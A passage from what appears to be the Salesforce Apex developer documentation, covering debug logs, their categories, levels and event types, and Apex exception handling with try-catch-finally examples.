supports exception statements and custom exceptions. Also, Apex sends emails
to developers for unhandled exceptions.

328
Debugging Apex

Understanding the Debug Log

Understanding the Debug Log
A debug log can record database operations, system processes, and errors that occur when executing a transaction or running
unit tests. Debug logs can contain information about:
•
•
•
•
•

Database changes
HTTP callouts
Apex errors
Resources used by Apex
Automated workflow processes, such as:
◊
◊
◊
◊

Workflow rules
Assignment rules
Approval processes
Validation rules

You can retain and manage the debug logs for specific users.
To view saved debug logs, from Setup, click Monitoring > Debug Logs or Logs > Debug Logs.
The following are the limits for debug logs:
•

•

•

Once a user is added, that user can record up to 20 debug logs. After a user reaches this limit, debug logs stop being recorded
for that user. Click Reset on the Monitoring Debug logs page to reset the number of logs for that user back to 20. Any
existing logs are not overwritten.
Each debug log can only be 2 MB. Debug logs that are larger than 2 MB are reduced in size by removing older log lines,
such as log lines for earlier System.debug statements. The log lines can be removed from any location, not just the start
of the debug log.
Each organization can retain up to 50 MB of debug logs. Once your organization has reached 50 MB of debug logs, the
oldest debug logs start being overwritten.

Inspecting the Debug Log Sections
After you generate a debug log, the type and amount of information listed depends on the filter values you set for the user.
However, the format for a debug log is always the same.
A debug log has the following sections:
Header
The header contains the following information:
• The version of the API used during the transaction.
• The log category and level used to generate the log. For example:
The following is an example of a header:
25.0
APEX_CODE,DEBUG;APEX_PROFILING,INFO;CALLOUT,INFO;DB,INFO;SYSTEM,DEBUG;VALIDATION,INFO;VISUALFORCE,INFO;
WORKFLOW,INFO

In this example, the API version is 25.0, and the following debug log categories and levels have been set:
Apex Code

DEBUG

Apex Profiling

INFO

329
Debugging Apex

Understanding the Debug Log

Callout

INFO

Database

INFO

System

DEBUG

Validation

INFO

Visualforce

INFO

Workflow

INFO

Execution Units
An execution unit is equivalent to a transaction. It contains everything that occurred within the transaction. The execution
is delimited by EXECUTION_STARTED and EXECUTION_FINISHED.
Code Units
A code unit is a discrete unit of work within a transaction. For example, a trigger is one unit of code, as is a webService
method, or a validation rule.
Note: A class is not a discrete unit of code.

Units of code are indicated by CODE_UNIT_STARTED and CODE_UNIT_FINISHED. Units of work can embed other
units of work. For example:
EXECUTION_STARTED
CODE_UNIT_STARTED|[EXTERNAL]execute_anonymous_apex
CODE_UNIT_STARTED|[EXTERNAL]MyTrigger on Account trigger event BeforeInsert for [new]
CODE_UNIT_FINISHED <-- The trigger ends
CODE_UNIT_FINISHED <-- The executeAnonymous ends
EXECUTION_FINISHED

Units of code include, but are not limited to, the following:
• Triggers
• Workflow invocations and time-based workflow
• Validation rules
• Approval processes
• Apex lead convert
• @future method invocations
• Web service invocations
• executeAnonymous calls
• Visualforce property accesses on Apex controllers
• Visualforce actions on Apex controllers
• Execution of the batch Apex start and finish methods, as well as each execution of the execute method
• Execution of the Apex System.Schedule execute method
• Incoming email handling
Log Lines
Log lines are Included inside units of code and indicate what code or rules are being executed. Log lines can also be
messages specifically written to the debug log. For example:

330
Debugging Apex

Understanding the Debug Log

Log lines are made up of a set of fields, delimited by a pipe (|). The format is:
• timestamp: consists of the time when the event occurred and a value between parentheses. The time is in the user's
time zone and in the format HH:mm:ss.SSS. The value represents the time elapsed in nanoseconds since the start
of the request. The elapsed time value is excluded from logs reviewed in the Developer Console.
• event identifier: consists of the specific event that triggered the debug log being written to, such as SAVEPOINT_RESET
or VALIDATION_RULE, and any additional information logged with that event, such as the method name or the line
and character number where the code was executed.
Additional Log Data
In addition, the log contains the following information:
• Cumulative resource usage is logged at the end of many code units, such as triggers, executeAnonymous, batch
Apex message processing, @future methods, Apex test methods, Apex web service methods, and Apex lead convert.
• Cumulative profiling information is logged once at the end of the transaction and contains information about the
most expensive queries (used the most resources), DML invocations, and so on.
The following is an example debug log:
22.0
APEX_CODE,DEBUG;APEX_PROFILING,INFO;CALLOUT,INFO;DB,INFO;SYSTEM,DEBUG;VALIDATION,INFO;VISUALFORCE,INFO;
WORKFLOW,INFO
11:47:46.030 (30064000)|EXECUTION_STARTED
11:47:46.030 (30159000)|CODE_UNIT_STARTED|[EXTERNAL]|TRIGGERS
11:47:46.030 (30271000)|CODE_UNIT_STARTED|[EXTERNAL]|01qD00000004JvP|myAccountTrigger on
Account trigger event BeforeUpdate for [001D000000IzMaE]
11:47:46.038 (38296000)|SYSTEM_METHOD_ENTRY|[2]|System.debug(ANY)
11:47:46.038 (38450000)|USER_DEBUG|[2]|DEBUG|Hello World!
11:47:46.038 (38520000)|SYSTEM_METHOD_EXIT|[2]|System.debug(ANY)
11:47:46.546 (38587000)|CUMULATIVE_LIMIT_USAGE
11:47:46.546|LIMIT_USAGE_FOR_NS|(default)|
Number of SOQL queries: 0 out of 100
Number of query rows: 0 out of 50000
Number of SOSL queries: 0 out of 20
Number of DML statements: 0 out of 150
Number of DML rows: 0 out of 10000
Number of code statements: 1 out of 200000
Maximum heap size: 0 out of 6000000
Number of callouts: 0 out of 10
Number of Email Invocations: 0 out of 10
Number of fields describes: 0 out of 100
Number of record type describes: 0 out of 100
Number of child relationships describes: 0 out of 100
Number of picklist describes: 0 out of 100
Number of future calls: 0 out of 10
11:47:46.546|CUMULATIVE_LIMIT_USAGE_END
11:47:46.038
BeforeUpdate
11:47:47.154
11:47:47.154

(38715000)|CODE_UNIT_FINISHED|myAccountTrigger on Account trigger event
for [001D000000IzMaE]
(1154831000)|CODE_UNIT_FINISHED|TRIGGERS
(1154881000)|EXECUTION_FINISHED

331
Debugging Apex

Understanding the Debug Log

Setting Debug Log Filters for Apex Classes and Triggers
Debug log filtering provides a mechanism for fine-tuning the log verbosity at the trigger and class level. This is especially
helpful when debugging Apex logic. For example, to evaluate the output of a complex process, you can raise the log verbosity
for a given class while turning off logging for other classes or triggers within a single request.
When you override the debug log levels for a class or trigger, these debug levels also apply to the class methods that your class
or trigger calls and the triggers that get executed as a result. All class methods and triggers in the execution path inherit the
debug log settings from their caller, unless they have these settings overridden.
The following diagram illustrates overriding debug log levels at the class and trigger level. For this scenario, suppose Class1
is causing some issues that you would like to take a closer look at. To this end, the debug log levels of Class1 are raised to
the finest granularity. Class3 doesn't override these log levels, and therefore inherits the granular log filters of Class1.
However, UtilityClass has already been tested and is known to work properly, so it has its log filters turned off. Similarly,
Class2 isn't in the code path that causes a problem, therefore it has its logging minimized to log only errors for the Apex
Code category. Trigger2 inherits these log settings from Class2.

Figure 8: Fine-tuning debug logging for classes and triggers
The following is a pseudo-code example that the diagram is based on.
1. Trigger1 calls a method of Class1 and another method of Class2. For example:
trigger Trigger1 on Account (before insert) {
Class1.someMethod();
Class2.anotherMethod();
}

2. Class1 calls a method of Class3, which in turn calls a method of a utility class. For example:
public class Class1 {
public static void someMethod() {
Class3.thirdMethod();
}
}
public class Class3 {
public static void thirdMethod() {
UtilityClass.doSomething();
}
}

3. Class2 causes a trigger, Trigger2, to be executed. For example:
public class Class2 {
public static void anotherMethod() {
// Some code that causes Trigger2 to be fired.

332
Debugging Apex

Working with Logs in the Developer Console

}
}

To set log filters:
1. From a class or trigger detail page, click Log Filters.
2. Click Override Log Filters.
The log filters are set to the default log levels.
3. Choose the log level desired for each log category.
To learn more about debug log categories, debug log levels, and debug log events, see Setting Debug Log Filters.
Working with Logs in the Developer Console
Debugging Apex API Calls

Working with Logs in the Developer Console
Use the Logs tab in the Developer Console to open debug logs.

Logs open in Log Inspector. Log Inspector is a context-sensitive execution viewer that shows the source of an operation, what
triggered the operation, and what occurred afterward. Use this tool to inspect debug logs that include database events, Apex
processing, workflow, and validation logic.
To learn more about working with logs in the Developer Console, see “Log Inspector” in the Salesforce online help.
When using the Developer Console or monitoring a debug log, you can specify the level of information that gets included in
the log.
Log category
The type of information logged, such as information from Apex or workflow rules.
Log level
The amount of information logged.
Event type
The combination of log category and log level that specify which events get logged. Each event can log additional
information, such as the line and character number where the event started, fields associated with the event, duration of
the event in milliseconds, and so on.
Debug Log Categories
You can specify the following log categories. The amount of information logged for each category depends on the log level:
Log Category

Description

Database

Includes information about database activity, including every data manipulation
language (DML) statement or inline SOQL or SOSL query.

333
Debugging Apex

Working with Logs in the Developer Console

Log Category

Description

Workflow

Includes information for workflow rules, such as the rule name, the actions taken, and
so on.

Validation

Includes information about validation rules, such as the name of the rule, whether the
rule evaluated true or false, and so on.

Callout

Includes the request-response XML that the server is sending and receiving from an
external Web service. This is useful when debugging issues related to using Force.com
Web services API calls.

Apex Code

Includes information about Apex code and can include information such as log
messages generated by DML statements, inline SOQL or SOSL queries, the start
and completion of any triggers, and the start and completion of any test method, and
so on.

Apex Profiling

Includes cumulative profiling information, such as the limits for your namespace, the
number of emails sent, and so on.

Visualforce

Includes information about Visualforce events, including serialization and
deserialization of the view state or the evaluation of a formula field in a Visualforce
page.

System

Includes information about calls to all system methods such as the System.debug
method.

Debug Log Levels
You can specify the following log levels. The levels are listed from lowest to highest. Specific events are logged based on the
combination of category and levels. Most events start being logged at the INFO level. The level is cumulative, that is, if you
select FINE, the log will also include all events logged at DEBUG, INFO, WARN and ERROR levels.
Note: Not all levels are available for all categories. Only the levels that correspond to one or more events are available.

•
•
•
•
•
•
•

ERROR
WARN
INFO
DEBUG
FINE
FINER
FINEST
Important: Before running a deployment, verify that the Apex Code log level is not set to FINEST. If the Apex
Code log level is set to FINEST, the deployment might take longer than expected. If the Developer Console is open,
the log levels in the Developer Console affect all logs, including logs created during a deployment.

Debug Event Types
The following is an example of what is written to the debug log. The event is USER_DEBUG. The format is timestamp |
event identifier:
•

timestamp: consists of the time when the event occurred and a value between parentheses. The time is in the user's time
zone and in the format HH:mm:ss.SSS. The value represents the time elapsed in nanoseconds since the start of the request.
The elapsed time value is excluded from logs reviewed in the Developer Console.

334
Debugging Apex

•

Working with Logs in the Developer Console

event identifier: consists of the specific event that triggered the debug log being written to, such as SAVEPOINT_RESET or
VALIDATION_RULE, and any additional information logged with that event, such as the method name or the line and
character number where the code was executed.

The following is an example of a debug log line.

Figure 9: Debug Log Line Example
In this example, the event identifier is made up of the following:
•

Event name:
USER_DEBUG

•

Line number of the event in the code:
[2]

•

Logging level the System.Debug method was set to:
DEBUG

•

User-supplied string for the System.Debug method:
Hello world!

The following example of a log line is triggered by this code snippet.

Figure 10: Debug Log Line Code Snippet
The following log line is recorded when the test reaches line 5 in the code:
15:51:01.071 (55856000)|DML_BEGIN|[5]|Op:Insert|Type:Invoice_Statement__c|Rows:1

In this example, the event identifier is made up of the following:
•

Event name:
DML_BEGIN

335
Debugging Apex

•

Working with Logs in the Developer Console

Line number of the event in the code:
[5]

•

DML operation type—Insert:
Op:Insert

•

Object name:
Type:Invoice_Statement__c

•

Number of rows passed into the DML operation:
Rows:1

The following table lists the event types that are logged, what fields or other information get logged with each event, as well
as what combination of log level and category cause an event to be logged.
Event Name

Fields or Information Logged With Event Category Logged

Level Logged

BULK_HEAP_ALLOCATE

Number of bytes allocated

Apex Code

FINEST

CALLOUT_REQUEST

Line number, request headers

Callout

INFO and above

CALLOUT_RESPONSE

Line number, response body

Callout

INFO and above

CODE_UNIT_FINISHED

None

Apex Code

ERROR and above

CODE_UNIT_STARTED

Line number, code unit name, such as

Apex Code

ERROR and above

MyTrigger on Account trigger
event BeforeInsert for [new]
CONSTRUCTOR_ENTRY

Line number, Apex class ID, the string
<init>() with the types of parameters, if
any, between the parentheses

Apex Code

DEBUG and above

CONSTRUCTOR_EXIT

Line number, the string <init>() with the Apex Code
types of parameters, if any, between the
parentheses

DEBUG and above

CUMULATIVE_LIMIT_USAGE

None

Apex Profiling

INFO and above

CUMULATIVE_LIMIT_USAGE_END None

Apex Profiling

INFO and above

None

Apex Profiling

FINE and above

CUMULATIVE_PROFILING_BEGIN None

Apex Profiling

FINE and above

CUMULATIVE_PROFILING_END None

Apex Profiling

FINE and above

CUMULATIVE_PROFILING

DML_BEGIN

Line number, operation (such as Insert, DB
Update, and so on), record name or type,
number of rows passed into DML operation

INFO and above

DML_END

Line number

DB

INFO and above

EMAIL_QUEUE

Line number

Apex Code

INFO and above

ENTERING_MANAGED_PKG

Package namespace

Apex Code

INFO and above

336
Debugging Apex

Working with Logs in the Developer Console

Event Name

Fields or Information Logged With Event Category Logged

Level Logged

EXCEPTION_THROWN

Line number, exception type, message

Apex Code

INFO and above

EXECUTION_FINISHED

None

Apex Code

ERROR and above

EXECUTION_STARTED

None

Apex Code

ERROR and above

FATAL_ERROR

Exception type, message, stack trace

Apex Code

ERROR and above

HEAP_ALLOCATE

Line number, number of bytes

Apex Code

FINER and above

HEAP_DEALLOCATE

Line number, number of bytes deallocated

Apex Code

FINER and above

IDEAS_QUERY_EXECUTE

Line number

DB

FINEST

LIMIT_USAGE_FOR_NS

Namespace, following limits:

Apex Profiling

FINEST

Number of SOQL queries
Number of query rows
Number of SOSL queries
Number of DML statements
Number of DML rows
Number of code statements
Maximum heap size
Number of callouts
Number of Email Invocations
Number of fields describes
Number of record type describes
Number of child relationships
describes
Number of picklist describes
Number of future calls
Number of find similar calls
Number of System.runAs()
invocations

METHOD_ENTRY

Line number, the Force.com ID of the class, Apex Code
method signature

DEBUG and above

METHOD_EXIT

Line number, the Force.com ID of the class, Apex Code
method signature.

DEBUG and above

For constructors, the following information
is logged: Line number, class name.
POP_TRACE_FLAGS

Line number, the Force.com ID of the class System
or trigger that has its log filters set and that
is going into scope, the name of this class or

337

INFO and above
Debugging Apex

Event Name

Working with Logs in the Developer Console

Fields or Information Logged With Event Category Logged

Level Logged

trigger, the log filter settings that are now in
effect after leaving this scope
PUSH_TRACE_FLAGS

Line number, the Force.com ID of the class System
or trigger that has its log filters set and that
is going out of scope, the name of this class
or trigger, the log filter settings that are now
in effect after entering this scope

INFO and above

QUERY_MORE_BEGIN

Line number

DB

INFO and above

QUERY_MORE_END

Line number

DB

INFO and above

QUERY_MORE_ITERATIONS

Line number, number of queryMore
iterations

DB

INFO and above

SAVEPOINT_ROLLBACK

Line number, Savepoint name

DB

INFO and above

SAVEPOINT_SET

Line number, Savepoint name

DB

INFO and above

SLA_END

Number of cases, load time, processing time, Workflow
number of case milestones to
insert/update/delete, new trigger

INFO and above

SLA_EVAL_MILESTONE

Milestone ID

Workflow

INFO and above

SLA_NULL_START_DATE

None

Workflow

INFO and above

SLA_PROCESS_CASE

Case ID

Workflow

INFO and above

SOQL_EXECUTE_BEGIN

Line number, number of aggregations, query DB
source

INFO and above

SOQL_EXECUTE_END

Line number, number of rows, duration in
milliseconds

DB

INFO and above

SOSL_EXECUTE_BEGIN

Line number, query source

DB

INFO and above

SOSL_EXECUTE_END

Line number, number of rows, duration in
milliseconds

DB

INFO and above

Apex Profiling

FINE and above

Apex Code

FINER and above

STACK_FRAME_VARIABLE_LIST Frame number, variable list of the form:
Variable number | Value. For example:
var1:50
var2:'Hello World'

STATEMENT_EXECUTE

Line number

STATIC_VARIABLE_LIST

Variable list of the form: Variable number Apex Profiling
| Value. For example:

FINE and above

var1:50
var2:'Hello World'

SYSTEM_CONSTRUCTOR_ENTRY Line number, the string <init>() with the System

types of parameters, if any, between the
parentheses

338

DEBUG
Debugging Apex

Working with Logs in the Developer Console

Event Name

Fields or Information Logged With Event Category Logged

Level Logged

SYSTEM_CONSTRUCTOR_EXIT

Line number, the string <init>() with the System
types of parameters, if any, between the
parentheses

DEBUG

SYSTEM_METHOD_ENTRY

Line number, method signature

System

DEBUG

SYSTEM_METHOD_EXIT

Line number, method signature

System

DEBUG

SYSTEM_MODE_ENTER

Mode name

System

INFO and above

SYSTEM_MODE_EXIT

Mode name

System

INFO and above

TESTING_LIMITS

None

Apex Profiling

INFO and above

Apex Profiling

FINE and above

Apex Code

DEBUG and above
by default. If the
user sets the log
level for the

TOTAL_EMAIL_RECIPIENTS_QUEUED Number of emails sent
USER_DEBUG

Line number, logging level, user-supplied
string

System.Debug

method, the event is
logged at that level
instead.
VALIDATION_ERROR

Error message

Validation

INFO and above

VALIDATION_FAIL

None

Validation

INFO and above

VALIDATION_FORMULA

Formula source, values

Validation

INFO and above

VALIDATION_PASS

None

Validation

INFO and above

VALIDATION_RULE

Rule name

Validation

INFO and above

VARIABLE_ASSIGNMENT

Line number, variable name, a string
representation of the variable's value, the
variable's address

Apex Code

FINEST

VARIABLE_SCOPE_BEGIN

Line number, variable name, type, a value
Apex Code
that indicates if the variable can be referenced,
a value that indicates if the variable is static

FINEST

VARIABLE_SCOPE_END

None

Apex Code

FINEST

VF_APEX_CALL

Element name, method name, return type

Apex Code

INFO and above

VF_DESERIALIZE_VIEWSTATE_BEGIN View state ID

Visualforce

INFO and above

VF_DESERIALIZE_VIEWSTATE_END None

Visualforce

INFO and above

VF_EVALUATE_FORMULA_BEGIN View state ID, formula

Visualforce

FINER and above

VF_EVALUATE_FORMULA_END

None

Visualforce

FINER and above

VF_PAGE_MESSAGE

Message text

Apex Code

INFO and above

VF_SERIALIZE_VIEWSTATE_BEGIN View state ID

Visualforce

INFO and above

VF_SERIALIZE_VIEWSTATE_END None

Visualforce

INFO and above

WF_ACTION

Action description

Workflow

INFO and above

WF_ACTION_TASK

Task subject, action ID, rule, owner, due date Workflow

INFO and above

339
Debugging Apex

Working with Logs in the Developer Console

Event Name

Fields or Information Logged With Event Category Logged

Level Logged

WF_ACTIONS_END

Summary of actions performed

Workflow

INFO and above

WF_APPROVAL

Transition type, EntityName: NameField Workflow
Id, process node name

INFO and above

WF_APPROVAL_REMOVE

EntityName: NameField Id

Workflow

INFO and above

WF_APPROVAL_SUBMIT

EntityName: NameField Id

Workflow

INFO and above

WF_ASSIGN

Owner, assignee template ID

Workflow

INFO and above

WF_CRITERIA_BEGIN

EntityName: NameField Id, rule name, Workflow

INFO and above

rule ID, trigger type (if rule respects trigger
types)
WF_CRITERIA_END

Boolean value indicating success (true or false) Workflow

INFO and above

WF_EMAIL_ALERT

Action ID, rule

Workflow

INFO and above

WF_EMAIL_SENT

Email template ID, recipients, CC emails

Workflow

INFO and above

WF_ENQUEUE_ACTIONS

Summary of actions enqueued

Workflow

INFO and above

WF_ESCALATION_ACTION

Case ID, business hours

Workflow

INFO and above

WF_ESCALATION_RULE

None

Workflow

INFO and above

WF_EVAL_ENTRY_CRITERIA

Process name, email template ID, Boolean
value indicating result (true or false)

Workflow

INFO and above

WF_FIELD_UPDATE

EntityName: NameField Id, object or

Workflow

INFO and above

field name
WF_FORMULA

Formula source, values

Workflow

INFO and above

WF_HARD_REJECT

None

Workflow

INFO and above

WF_NEXT_APPROVER

Owner, next owner type, field

Workflow

INFO and above

WF_NO_PROCESS_FOUND

None

Workflow

INFO and above

WF_OUTBOUND_MSG

EntityName: NameField Id, action ID, Workflow

INFO and above

rule
WF_PROCESS_NODE

Process name

Workflow

INFO and above

WF_REASSIGN_RECORD

EntityName: NameField Id, owner

Workflow

INFO and above

WF_RESPONSE_NOTIFY

Notifier name, notifier email, notifier
template ID

Workflow

INFO and above

WF_RULE_ENTRY_ORDER

Integer, indicating order

Workflow

INFO and above

WF_RULE_EVAL_BEGIN

Rule type

Workflow

INFO and above

WF_RULE_EVAL_END

None

Workflow

INFO and above

WF_RULE_EVAL_VALUE

Value

Workflow

INFO and above

WF_RULE_FILTER

Filter criteria

Workflow

INFO and above

WF_RULE_INVOCATION

EntityName: NameField Id

Workflow

INFO and above

WF_RULE_NOT_EVALUATED

None

Workflow

INFO and above

WF_SOFT_REJECT

Process name

Workflow

INFO and above

340
Debugging Apex

Debugging Apex API Calls

Event Name

Fields or Information Logged With Event Category Logged

Level Logged

WF_SPOOL_ACTION_BEGIN

Node type

Workflow

INFO and above

WF_TIME_TRIGGER

EntityName: NameField Id, time action, Workflow

INFO and above

time action container, evaluation Datetime
WF_TIME_TRIGGERS_BEGIN

None

Workflow

INFO and above

Debugging Apex API Calls
All API calls that invoke Apex support a debug facility that allows access to detailed information about the execution of the
code, including any calls to System.debug(). In addition to the Developer Console, a SOAP input header called
DebuggingHeader allows you to set the logging granularity according to the levels outlined in the following table.
Element Name

Type

Description

LogCategory

string

Specify the type of information returned in the debug log. Valid values are:
• Db
• Workflow
• Validation
• Callout
• Apex_code
• Apex_profiling
• All

LogCategoryLevel

string

Specifies the amount of information returned in the debug log. Only the
Apex_code LogCategory uses the log category levels.
Valid log levels are (listed from lowest to highest):
•
•
•
•
•
•
•

ERROR
WARN
INFO
DEBUG
FINE
FINER
FINEST

In addition, the following log levels are still supported as part of the DebuggingHeader for backwards compatibility.
Log Level

Description

NONE

Does not include any log messages.

DEBUGONLY

Includes lower level messages, as well as messages generated by calls to the
System.debug method.

DB

Includes log messages generated by calls to the System.debug method, as well as every
data manipulation language (DML) statement or inline SOQL or SOSL query.

341
Debugging Apex

Exceptions in Apex

Log Level

Description

PROFILE

Includes log messages generated by calls to the System.debug method, every DML
statement or inline SOQL or SOSL query, and the entrance and exit of every user-defined
method. In addition, the end of the debug log contains overall profiling information for
the portions of the request that used the most resources, in terms of SOQL and SOSL
statements, DML operations, and Apex method invocations. These three sections list
the locations in the code that consumed the most time, in descending order of total
cumulative time, along with the number of times they were executed.

CALLOUT

Includes the request-response XML that the server is sending and receiving from an
external Web service. This is useful when debugging issues related to using Force.com
Web services API calls.

DETAIL

Includes all messages generated by the PROFILE level as well as the following:
• Variable declaration statements
• Start of loop executions
• All loop controls, such as break and continue
• Thrown exceptions *
• Static and class initialization code *
• Any changes in the with sharing context

The corresponding output header, DebuggingInfo, contains the resulting debug log. For more information, see
DebuggingHeader on page 1346.

Exceptions in Apex
Exceptions note errors and other events that disrupt the normal flow of code execution. throw statements are used to generate
exceptions, while try, catch, and finally statements are used to gracefully recover from exceptions.
There are many ways to handle errors in your code, including using assertions like System.assert calls, or returning error
codes or Boolean values, so why use exceptions? The advantage of using exceptions is that they simplify error handling.
Exceptions bubble up from the called method to the caller, as many levels as necessary, until a catch statement is found that
will handle the error. This relieves you from writing error handling code in each of your methods. Also, by using finally
statements, you have one place to recover from exceptions, like resetting variables and deleting data.

What Happens When an Exception Occurs?
When an exception occurs, code execution halts and any DML operations that were processed prior to the exception are rolled
back and aren’t committed to the database. Exceptions get logged in debug logs. For unhandled exceptions, that is, exceptions
that the code doesn’t catch, Salesforce sends an email to the developer with the exception information and the end user sees
an error message in the Salesforce user interface.

Unhandled Exceptions Emails
The developer specified in the LastModifiedBy field receives the error via email with the Apex stack trace and the customer’s
organization and user ID. No other customer data is returned with the report.
Note: For Apex code that runs synchronously, some error emails may get suppressed for duplicate exception errors.
For Apex code that runs asynchronously—batch Apex, scheduled Apex, or future methods (methods annotated with
@future)—error emails for duplicate exceptions don’t get suppressed.

342
Debugging Apex

Exception Statements

Unhandled Exceptions in the User Interface
If an end user runs into an exception that occurred in Apex code while using the standard user interface, an error message
appears on the page showing you the text of the unhandled exception as shown below:

Exception Statements
Apex uses exceptions to note errors and other events that disrupt the normal flow of code execution. throw statements can be
used to generate exceptions, while try, catch, and finally can be used to gracefully recover from an exception.
Throw Statements
A throw statement allows you to signal that an error has occurred. To throw an exception, use the throw statement and
provide it with an exception object to provide information about the specific error. For example:
throw exceptionObject;

Try-Catch-Finally Statements
The try, catch, and finally statements can be used to gracefully recover from a thrown exception:
•
•

•

The try statement identifies a block of code in which an exception can occur.
The catch statement identifies a block of code that can handle a particular type of exception. A single try statement can
have multiple associated catch statements; however, each catch statement must have a unique exception type. Also,
once a particular exception type is caught in one catch block, the remaining catch blocks, if any, aren’t executed.
The finally statement optionally identifies a block of code that is guaranteed to execute and allows you to clean up after
the code enclosed in the try block. A single try statement can have only one associated finally statement. Code in
the finally block always executes regardless of the type of exception that was thrown and handled.

Syntax
The syntax of these statements is as follows:
try {
code_block
} catch (exceptionType) {
code_block
}
// Optional catch statements for other exception types.
// Note that the general exception type, 'Exception',
// must be the last catch block when it is used.
} catch (Exception e) {

343
Debugging Apex

Exception Handling Example

code_block
}
// Optional finally statement
} finally {
code_block
}

This is a skeletal example of a try-catch-finally block.
try {
// Perform some operation that
//
might cause an exception.
} catch(Exception e) {
// Generic exception handling code here.
} finally {
// Perform some clean up.
}

Exceptions that Can’t be Caught
Some special types of built-in exceptions can’t be caught. Those exceptions are associated with critical situations in the
Force.com platform. These situations require the abortion of code execution and don’t allow for execution to resume through
exception handling. One such exception is the limit exception that the runtime throws if a governor limit has been exceeded,
such as when the maximum number of SOQL queries issued has been exceeded. Other examples are exceptions thrown when
assertion statements fail (through System.assert methods) or license exceptions.
When exceptions are uncatchable, catch blocks, as well as finally blocks if any, aren’t executed.

Exception Handling Example
To see an exception in action, execute some code that causes a DML exception to be thrown. Execute the following in the
Developer Console:
Merchandise__c m = new Merchandise__c();
insert m;

The insert DML statement in the example causes a DmlException because we’re inserting a merchandise item without
setting any of its required fields. This is the exception error that you see in the debug log.
System.DmlException: Insert failed. First exception on row 0; first error:
REQUIRED_FIELD_MISSING, Required fields are missing: [Description, Price, Total Inventory]:
[Description, Price, Total Inventory]

Next, execute this snippet in the Developer Console. It’s based on the previous example but includes a try-catch block.
try {
Merchandise__c m = new Merchandise__c();
insert m;
} catch(DmlException e) {
System.debug('The following exception has occurred: ' + e.getMessage());
}

Notice that the request status in the Developer Console now reports success. This is because the code handles the exception.
Any statements in the try block occurring after the exception are skipped and aren’t executed. For example, if you add a
statement after insert m;, this statement won’t be executed. Execute the following:
try {
Merchandise__c m = new Merchandise__c();
insert m;

344
Debugging Apex

Exception Handling Example

// This doesn't execute since insert causes an exception
System.debug('Statement after insert.');
} catch(DmlException e) {
System.debug('The following exception has occurred: ' + e.getMessage());
}

In the new debug log entry, notice that you don’t see a debug message of Statement after insert. This is because this
debug statement occurs after the exception caused by the insertion and never gets executed. To continue the execution of code
statements after an exception happens, place the statement after the try-catch block. Execute this modified code snippet and
notice that the debug log now has a debug message of Statement after insert.
try {
Merchandise__c m = new Merchandise__c();
insert m;
} catch(DmlException e) {
System.debug('The following exception has occurred: ' + e.getMessage());
}
// This will get executed
System.debug('Statement after insert.');

Alternatively, you can include additional try-catch blocks. This code snippet has the System.debug statement inside a second
try-catch block. Execute it to see that you get the same result as before.
try {
Merchandise__c m = new Merchandise__c();
insert m;
} catch(DmlException e) {
System.debug('The following exception has occurred: ' + e.getMessage());
}
try {
System.debug('Statement after insert.');
// Insert other records
}
catch (Exception e) {
// Handle this exception here
}

The finally block always executes regardless of what exception is thrown, and even if no exception is thrown. Let’s see it used
in action. Execute the following:
// Declare the variable outside the try-catch block
// so that it will be in scope for all blocks.
XmlStreamWriter w = null;
try {
w = new XmlStreamWriter();
w.writeStartDocument(null, '1.0');
w.writeStartElement(null, 'book', null);
w.writeCharacters('This is my book');
w.writeEndElement();
w.writeEndDocument();
// Perform some other operations
String s;
// This causes an exception because
// the string hasn't been assigned a value.
Integer i = s.length();
} catch(Exception e) {
System.debug('An exception occurred: ' + e.getMessage());
} finally {
// This gets executed after the exception is handled
System.debug('Closing the stream writer in the finally block.');
// Close the stream writer
w.close();
}

345
Debugging Apex

Built-In Exceptions and Common Methods

The previous code snippet creates an XML stream writer and adds some XML elements. Next, an exception occurs due to
accessing the null String variable s. The catch block handles this exception. Then the finally block executes. It writes a debug
message and closes the stream writer, which frees any associated resources. Check the debug output in the debug log. You’ll
see the debug message Closing the stream writer in the finally block. after the exception error. This tells
you that the finally block executed after the exception was caught.

Built-In Exceptions and Common Methods
Apex provides a number of built-in exception types that the runtime engine throws if errors are encountered during execution.
You’ve seen the DmlException in the previous example. Here is a sample of some other built-in exceptions.
DmlException
Any problem with a DML statement, such as an insert statement missing a required field on a record.
This example makes use of DmlException. The insert DML statement in this example causes a DmlException because
it’s inserting a merchandise item without setting any of its required fields. This exception is caught in the catch block
and the exception message is written to the debug log using the System.debug statement.
try {
Merchandise__c m = new Merchandise__c();
insert m;
} catch(DmlException e) {
System.debug('The following exception has occurred: ' + e.getMessage());
}

ListException
Any problem with a list, such as attempting to access an index that is out of bounds.
This example creates a list and adds one element to it. Then, an attempt is made to access two elements, one at index
0, which exists, and one at index 1, which causes a ListException to be thrown because no element exists at this index.
This exception is caught in the catch block. The System.debug statement in the catch block writes the following to
the debug log: The following exception has occurred: List index out of bounds: 1.
try {
List<Integer> li = new List<Integer>();
li.add(15);
// This list contains only one element,
// but we're attempting to access the second element
// from this zero-based list.
Integer i1 = li[0];
Integer i2 = li[1]; // Causes a ListException
} catch(ListException le) {
System.debug('The following exception has occurred: ' + le.getMessage());
}

NullPointerException
Any problem with dereferencing a null variable.
This example creates a String variable named s but we don’t initialize it to a value, hence, it is null. Calling the contains
method on our null variable causes a NullPointerException. The exception is caught in our catch block and this is what
is written to the debug log: The following exception has occurred: Attempt to de-reference a
null object.
try {
String s;
Boolean b = s.contains('abc'); // Causes a NullPointerException

346
Debugging Apex

Built-In Exceptions and Common Methods

} catch(NullPointerException npe) {
System.debug('The following exception has occurred: ' + npe.getMessage());
}

QueryException
Any problem with SOQL queries, such as assigning a query that returns no records or more than one record to a singleton
sObject variable.
The second SOQL query in this example causes a QueryException. The example assigns a Merchandise object to what
is returned from the query. Note the use of LIMIT 1 in the query. This ensures that at most one object is returned from
the database so we can assign it to a single object and not a list. However, in this case, we don’t have a Merchandise
named XYZ, so nothing is returned, and the attempt to assign the return value to a single object results in a
QueryException. The exception is caught in our catch block and this is what you’ll see in the debug log: The following
exception has occurred: List has no rows for assignment to SObject.
try {
// This statement doesn't cause an exception, even though
// we don't have a merchandise with name='XYZ'.
// The list will just be empty.
List<Merchandise__c> lm = [SELECT Name FROM Merchandise__c WHERE Name='XYZ'];
// lm.size() is 0
System.debug(lm.size());
// However, this statement causes a QueryException because
// we're assiging the return value to a Merchandise__c object
// but no Merchandise is returned.
Merchandise__c m = [SELECT Name FROM Merchandise__c WHERE Name='XYZ' LIMIT 1];
} catch(QueryException qe) {
System.debug('The following exception has occurred: ' + qe.getMessage());
}

SObjectException
Any problem with sObject records, such as attempting to change a field in an update statement that can only be changed
during insert.
